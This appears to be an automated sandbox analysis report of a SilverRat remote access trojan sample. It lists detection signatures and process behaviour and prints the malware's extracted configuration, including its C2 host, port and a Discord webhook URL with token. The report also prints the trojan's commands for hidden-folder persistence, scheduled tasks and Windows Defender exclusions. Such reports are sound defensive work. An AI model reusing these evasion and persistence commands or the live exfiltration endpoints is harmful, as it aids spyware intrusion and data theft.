Edit tour

Windows Analysis Report
RLesaPFXew.exe

Overview

General Information

Sample name:	RLesaPFXew.exe renamed because original name is a hash value
Original sample name:	aa80b2971f14c91c4a09162357188bf73d0f9934.exe
Analysis ID:	1552938
MD5:	537b270c2278044e4c3958530f745ece
SHA1:	aa80b2971f14c91c4a09162357188bf73d0f9934
SHA256:	3147922611475a9c92e23a018bf666a4890f2c3aa159b235883beff80cffb71a
Tags:	exesilverratuser-NDA0E
Infos:

Detection

SilverRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected SilverRat

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to log keystrokes (.Net Source)

Creates autostart registry keys to launch java

Exploit detected, runtime environment starts unknown processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Uses cmd line tools excessively to alter registry or file data

Uses schtasks.exe or at.exe to add and modify task schedules

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to call native functions

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file does not import any functions

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Classification

Process Tree

System is w10x64

RLesaPFXew.exe (PID: 5576 cmdline: "C:\Users\user\Desktop\RLesaPFXew.exe" MD5: 537B270C2278044E4C3958530F745ECE)

attrib.exe (PID: 6404 cmdline: "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 6504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 2192 cmdline: "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java\$77java.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 3172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6068 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 712 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 5692 cmdline: timeout 3 MD5: 100065E21CFBBDE57CBA2838921F84D6)

$77java.exe (PID: 2940 cmdline: "C:\Users\user\java\$77java.exe" MD5: 537B270C2278044E4C3958530F745ECE)

schtasks.exe (PID: 5704 cmdline: "schtasks.exe" /query /TN $77java.exe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7012 cmdline: "schtasks.exe" /Create /SC ONCE /TN "$77java.exe" /TR "C:\Users\user\java\$77java.exe \"\$77java.exe\" /AsAdmin" /ST 00:01 /IT /F /RL HIGHEST MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 6508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1864 cmdline: "schtasks.exe" /query /TN $77java.exe MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 616 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 3004 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2020 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

schtasks.exe (PID: 6252 cmdline: "C:\Windows\System32\schtasks.exe" /create /sc daily /tn "java_Task-DAILY-21PM" /TR "%MyFile%" /ST 21:00 MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 3468 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

$77java.exe (PID: 3000 cmdline: C:\Users\user\java\$77java.exe "\$77java.exe" /AsAdmin MD5: 537B270C2278044E4C3958530F745ECE)

cleanup

Malware Configuration

Threatname: SilverRat

{"Mutex": "SilverMutex_vhcVsDtDDi", "Host": "23.ip.gl.ply.gg", "Port": "52996", "Relay Connect": "4", "Version": "1.0.0.0", "Discord Url": "https://discordapp.com/api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4ZhheXZuWsNfenaXEjnMgG__0"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
RLesaPFXew.exe	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\java\$77java.exe	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
Process Memory Space: RLesaPFXew.exe PID: 5576	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Unpacked PEs

Source	Rule	Description	Author
0.0.RLesaPFXew.exe.1d0000.0.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
0.2.RLesaPFXew.exe.3af8618.0.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security
0.2.RLesaPFXew.exe.3af8618.0.raw.unpack	JoeSecurity_SilverRat	Yara detected SilverRat	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\java\$77java.exe" , ParentImage: C:\Users\user\java\$77java.exe, ParentProcessId: 2940, ParentProcessName: $77java.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, ProcessId: 616, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\java\$77java.exe", EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\RLesaPFXew.exe, ProcessId: 5576, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\(Default)

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, CommandLine|base64offset|contains: I~2yzw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\java\$77java.exe" , ParentImage: C:\Users\user\java\$77java.exe, ParentProcessId: 2940, ParentProcessName: $77java.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,bat,dll,ps1;exit, ProcessId: 616, ProcessName: powershell.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-09T22:53:23.175080+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	49745	TCP
2024-11-09T22:53:50.697780+0100	2022930	1	A Network Trojan was detected	52.149.20.212	443	192.168.2.6	60572	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: RLesaPFXew.exe

Avira: detected

Antivirus detection for URL or domain

Source: 23.ip.gl.ply.gg

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\java\$77java.exe

Avira: detection malicious, Label: HEUR/AGEN.1313050

Found malware configuration

Source: RLesaPFXew.exe

Malware Configuration Extractor: SilverRat {"Mutex": "SilverMutex_vhcVsDtDDi", "Host": "23.ip.gl.ply.gg", "Port": "52996", "Relay Connect": "4", "Version": "1.0.0.0", "Discord Url": "https://discordapp.com/api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4ZhheXZuWsNfenaXEjnMgG__0"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\java\$77java.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: RLesaPFXew.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\java\$77java.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: RLesaPFXew.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: RLesaPFXew.exe	String decryptor: -\|S.S.S\|-
Source: RLesaPFXew.exe	String decryptor: 23.ip.gl.ply.gg
Source: RLesaPFXew.exe	String decryptor: 52996
Source: RLesaPFXew.exe	String decryptor: https://discordapp.com/api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4ZhheXZuWsNfenaXEjnMgG__0
Source: RLesaPFXew.exe	String decryptor: https://g.top4top.io/p_2522c7w8u1.png

Source: unknown

HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49710 version: TLS 1.2

Source: RLesaPFXew.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Software Vulnerabilities

Exploit detected, runtime environment starts unknown processes

Source: C:\Users\user\java\$77java.exe

Process created: C:\Windows\System32\schtasks.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 23.ip.gl.ply.gg

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 147.185.221.23:52996

Source: global traffic

HTTP traffic detected: POST /api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4ZhheXZuWsNfenaXEjnMgG__0 HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: discordapp.comContent-Length: 415Expect: 100-continueConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 147.185.221.23 147.185.221.23
Source: Joe Sandbox View	IP Address: 162.159.133.233 162.159.133.233
Source: Joe Sandbox View	IP Address: 162.159.133.233 162.159.133.233

Source: Joe Sandbox View

ASN Name: SALSGIVERUS SALSGIVERUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:49745
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 52.149.20.212:443 -> 192.168.2.6:60572

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: discordapp.com
Source: global traffic	DNS traffic detected: DNS query: 23.ip.gl.ply.gg

Source: unknown

Source: $77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: $77java.exe, 0000000D.00000002.3389411382.0000000003A6B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://discordapp.com
Source: $77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co4yL
Source: RLesaPFXew.exe, 00000000.00000002.2158375099.0000000003621000.00000004.00000800.00020000.00000000.sdmp, $77java.exe, 0000000D.00000002.3389411382.0000000003689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: $77java.exe, 0000000D.00000002.3392526779.000000001DC52000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: $77java.exe, 0000000D.00000002.3389411382.00000000039CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com
Source: $77java.exe, 00000018.00000002.2206569086.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://discordapp.com/api/webhooks/1294921166322139216/xs9PPlodeSrCXniTlxP1AWYgIlBu-KYxj9_7pK95qOS4
Source: $77java.exe, 00000018.00000002.2206569086.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.top4top.io/p_2522c7w8u
Source: $77java.exe, 00000018.00000002.2206569086.0000000003041000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.top4top.io/p_2522c7w8u1.png

Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710

Source: unknown

HTTPS traffic detected: 162.159.133.233:443 -> 192.168.2.6:49710 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SilverRat

Source: Yara match	File source: RLesaPFXew.exe, type: SAMPLE
Source: Yara match	File source: 0.0.RLesaPFXew.exe.1d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.RLesaPFXew.exe.3af8618.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2129565272.00000000001D2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RLesaPFXew.exe PID: 5576, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\java\$77java.exe, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: RLesaPFXew.exe, Keyloaggr.cs	.Net Code: KeyboardLayout
Source: $77java.exe.0.dr, Keyloaggr.cs	.Net Code: KeyboardLayout

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Code function: 0_2_00007FFD34697C15 NtSetValueKey,		0_2_00007FFD34697C15
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Code function: 0_2_00007FFD34697C79 NtSetValueKey,		0_2_00007FFD34697C79

Source: C:\Users\user\Desktop\RLesaPFXew.exe	Code function: 0_2_00007FFD346960C2	0_2_00007FFD346960C2
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Code function: 0_2_00007FFD34691958	0_2_00007FFD34691958
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Code function: 0_2_00007FFD34695316	0_2_00007FFD34695316
Source: C:\Users\user\java\$77java.exe	Code function: 13_2_00007FFD346860C2	13_2_00007FFD346860C2
Source: C:\Users\user\java\$77java.exe	Code function: 13_2_00007FFD34681910	13_2_00007FFD34681910
Source: C:\Users\user\java\$77java.exe	Code function: 13_2_00007FFD346818E8	13_2_00007FFD346818E8
Source: C:\Users\user\java\$77java.exe	Code function: 13_2_00007FFD34685316	13_2_00007FFD34685316

Source: RLesaPFXew.exe	Static PE information: No import functions for PE file found
Source: $77java.exe.0.dr	Static PE information: No import functions for PE file found

Source: RLesaPFXew.exe, 00000000.00000002.2158375099.0000000003AE9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameEverything.exe4 vs RLesaPFXew.exe
Source: RLesaPFXew.exe, 00000000.00000000.2129580710.00000000001DE000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEverything.exe4 vs RLesaPFXew.exe
Source: RLesaPFXew.exe	Binary or memory string: OriginalFilenameEverything.exe4 vs RLesaPFXew.exe

Source: RLesaPFXew.exe, Settings.cs	Cryptographic APIs: 'CreateDecryptor'
Source: $77java.exe.0.dr, Settings.cs	Cryptographic APIs: 'CreateDecryptor'

Source: RLesaPFXew.exe, Settings.cs	Task registration methods: 'CreateShTasks'
Source: $77java.exe.0.dr, Settings.cs	Task registration methods: 'CreateShTasks'

Source: RLesaPFXew.exe, Settings.cs	Base64 encoded string: 'MIIE4DCCAsigAwIBAgIQAKQYOfZd86J2BfNjhG4CWTANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZTaWx2ZXIwIBcNMjIwODI2MTkwMTA4WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBlNpbHZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPbpOWfhZTuOfEaqqImTTe5dNHAAry7/mf00DCoI4lPZfypsc1tYraxSPFeayGu09a3qdhkWKSVIgwnu2n4GLQNOCY9fh/1oyrX4Iir3BIkYeU7pKTWgjhUlAmFAUAaNr0ca23Ku2kN79jrDzRznOgE2DEW4p7OiM4Mb097ma9lzu7MyssHbY4VCteAhj9HZiplqBxaC1vXDmzxqG+gUZ1aLcyG7ssdkOjtWVBgT3gD/gOl7KchRzCFB1egDC/vD9WZCG35U3Ngi+IkTznoXR1R06cq4v0UnGjE37R2vcB21qb0ZYNiZJXZHv5i9+R7xoPeNoLda5PqnfGGbhPvNEdD56mdcOKlzGIuyemLkUo8texdpiBWKbtc3JZf5VsKxjJtHDK3xW6gDGI+PAirzGkFPmwcf8WgsblvzLg8OZpVxVs8rmKWoi6qIrf4CXnyl73J4lgzW+ir7PjANAQXwLNGdNnvdMeLeo/muGQPdeNpr6OczGGnkWA4qniHeL51/Gx0a8A+jP9zKiyu+qHcsP2IotgWDH/KlzJVr7IAum+DV92uV8poTDcUNcHaKvhHA65KmEtsvLbK6lFZcAMC0eWC0VgpW44T1/16rOaaky5mP6rTMc3nSyOl/lU/XgAgGGQPe22bRLWYzd3WVeEpI1WnHYXS+tL9IOe4kJP+pYsWDAgMBAAGjMjAwMB0GA1UdDgQWBBR32TJj2LeUx9L+RcSOvmFV6VJq6TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQA+qucSOi7ov7Q1FmAjMf925KuvKuCNwJiu3Sqo3FDGVAD1fAwAi2FdyuXEO2VIUPZCkalFcBna5rqyrc6tcS4T0IL2TsYLrsuGir7PWP7CAcft1urYS1HpNpHxeH/nixwnQaQs/MuRmdm2TeCj6G21P5BTW55U5y9sMPSYwhbD2N7XLgnSQd5Y+80TR7FUiye/k3D37fI9PRhSQGbfYFRQQTmxj84dPTnY5CVgaY9d8fNiFZkyjaZdf+mibK0xQTf+xLVVj+toDNCkc1F462TdmFhCrHd4PoMo0yLDNv4SC6NLRq4haWDRtORw6gd5GYIoCQ3m3oQvNlNxXhhIjsOyxkxOrkCD0c+57PIc7EmKXieJa/XxnkcIVxO8dvTY/vijuz/VaZYl/lPu9ckuqgJ1wRvvsHl70Trv4Mn4X5uCIqRFFlK/mSOZbLIguGkDN3QIZABvej89vlZMhrVfZOG2oawe23FskHjv7thF/WzOXtWw6RUVC1V+hCwbuxFNUjZmmOTUwdXHnus7I2AuiG6Jz1+y9aYiXBcVTdSljxjHRRmiRaAnY94h58vN8NJ4hKL2GVCo6LxkpuplmcntJN0cKraKTPxSXcCRrqWxX9qoIbfvBcUU4vH1jPJCCLNCuDyD3lgQkpPVvq0EMU1a2HFGgMEQMjpYpb38rcadDhT5ag==', 'XX4Iz5kAK/EAkTqnGs7iFMG9nBFshn90zyvdo/rg7Bn+3lPgEwqvKSsalPTz/JNq'
Source: RLesaPFXew.exe, Installation.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBiLlp486XC9OZHtGsiixnNW'
Source: RLesaPFXew.exe, MessageRead.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBhStm9RR7V2byuc2qvN4qWd'
Source: $77java.exe.0.dr, Settings.cs	Base64 encoded string: 'MIIE4DCCAsigAwIBAgIQAKQYOfZd86J2BfNjhG4CWTANBgkqhkiG9w0BAQ0FADARMQ8wDQYDVQQDDAZTaWx2ZXIwIBcNMjIwODI2MTkwMTA4WhgPOTk5OTEyMzEyMzU5NTlaMBExDzANBgNVBAMMBlNpbHZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAPbpOWfhZTuOfEaqqImTTe5dNHAAry7/mf00DCoI4lPZfypsc1tYraxSPFeayGu09a3qdhkWKSVIgwnu2n4GLQNOCY9fh/1oyrX4Iir3BIkYeU7pKTWgjhUlAmFAUAaNr0ca23Ku2kN79jrDzRznOgE2DEW4p7OiM4Mb097ma9lzu7MyssHbY4VCteAhj9HZiplqBxaC1vXDmzxqG+gUZ1aLcyG7ssdkOjtWVBgT3gD/gOl7KchRzCFB1egDC/vD9WZCG35U3Ngi+IkTznoXR1R06cq4v0UnGjE37R2vcB21qb0ZYNiZJXZHv5i9+R7xoPeNoLda5PqnfGGbhPvNEdD56mdcOKlzGIuyemLkUo8texdpiBWKbtc3JZf5VsKxjJtHDK3xW6gDGI+PAirzGkFPmwcf8WgsblvzLg8OZpVxVs8rmKWoi6qIrf4CXnyl73J4lgzW+ir7PjANAQXwLNGdNnvdMeLeo/muGQPdeNpr6OczGGnkWA4qniHeL51/Gx0a8A+jP9zKiyu+qHcsP2IotgWDH/KlzJVr7IAum+DV92uV8poTDcUNcHaKvhHA65KmEtsvLbK6lFZcAMC0eWC0VgpW44T1/16rOaaky5mP6rTMc3nSyOl/lU/XgAgGGQPe22bRLWYzd3WVeEpI1WnHYXS+tL9IOe4kJP+pYsWDAgMBAAGjMjAwMB0GA1UdDgQWBBR32TJj2LeUx9L+RcSOvmFV6VJq6TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQA+qucSOi7ov7Q1FmAjMf925KuvKuCNwJiu3Sqo3FDGVAD1fAwAi2FdyuXEO2VIUPZCkalFcBna5rqyrc6tcS4T0IL2TsYLrsuGir7PWP7CAcft1urYS1HpNpHxeH/nixwnQaQs/MuRmdm2TeCj6G21P5BTW55U5y9sMPSYwhbD2N7XLgnSQd5Y+80TR7FUiye/k3D37fI9PRhSQGbfYFRQQTmxj84dPTnY5CVgaY9d8fNiFZkyjaZdf+mibK0xQTf+xLVVj+toDNCkc1F462TdmFhCrHd4PoMo0yLDNv4SC6NLRq4haWDRtORw6gd5GYIoCQ3m3oQvNlNxXhhIjsOyxkxOrkCD0c+57PIc7EmKXieJa/XxnkcIVxO8dvTY/vijuz/VaZYl/lPu9ckuqgJ1wRvvsHl70Trv4Mn4X5uCIqRFFlK/mSOZbLIguGkDN3QIZABvej89vlZMhrVfZOG2oawe23FskHjv7thF/WzOXtWw6RUVC1V+hCwbuxFNUjZmmOTUwdXHnus7I2AuiG6Jz1+y9aYiXBcVTdSljxjHRRmiRaAnY94h58vN8NJ4hKL2GVCo6LxkpuplmcntJN0cKraKTPxSXcCRrqWxX9qoIbfvBcUU4vH1jPJCCLNCuDyD3lgQkpPVvq0EMU1a2HFGgMEQMjpYpb38rcadDhT5ag==', 'XX4Iz5kAK/EAkTqnGs7iFMG9nBFshn90zyvdo/rg7Bn+3lPgEwqvKSsalPTz/JNq'
Source: $77java.exe.0.dr, Installation.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBiLlp486XC9OZHtGsiixnNW'
Source: $77java.exe.0.dr, MessageRead.cs	Base64 encoded string: 'YuiIb0bvpOW/HwRCrl07ZyLIxUPAoAy0/EE6+OB0IBhStm9RR7V2byuc2qvN4qWd'

Source: $77java.exe.0.dr, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: $77java.exe.0.dr, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: RLesaPFXew.exe, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: RLesaPFXew.exe, GetInformationOS.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@32/10@2/2

Source: C:\Users\user\Desktop\RLesaPFXew.exe

File created: C:\Users\user\java

Jump to behavior

Source: C:\Users\user\java\$77java.exe	Mutant created: NULL
Source: C:\Users\user\java\$77java.exe	Mutant created: \Sessions\1\BaseNamedObjects\SilverMutex_vhcVsDtDDi
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3172:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6764:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3468:120:WilError_03

Source: C:\Users\user\Desktop\RLesaPFXew.exe

File created: C:\Users\user\AppData\Local\Temp\tmp4B52.tmp

Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmp4B52.tmp.bat""

Source: RLesaPFXew.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RLesaPFXew.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Users\user\Desktop\RLesaPFXew.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\RLesaPFXew.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RLesaPFXew.exe

ReversingLabs: Detection: 65%

Source: C:\Users\user\Desktop\RLesaPFXew.exe

File read: C:\Users\user\Desktop\RLesaPFXew.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\RLesaPFXew.exe "C:\Users\user\Desktop\RLesaPFXew.exe"
Source: C:\Users\user\Desktop\RLesaPFXew.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\System32\attrib.exe" +s +h "C:\Users\user\java"
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
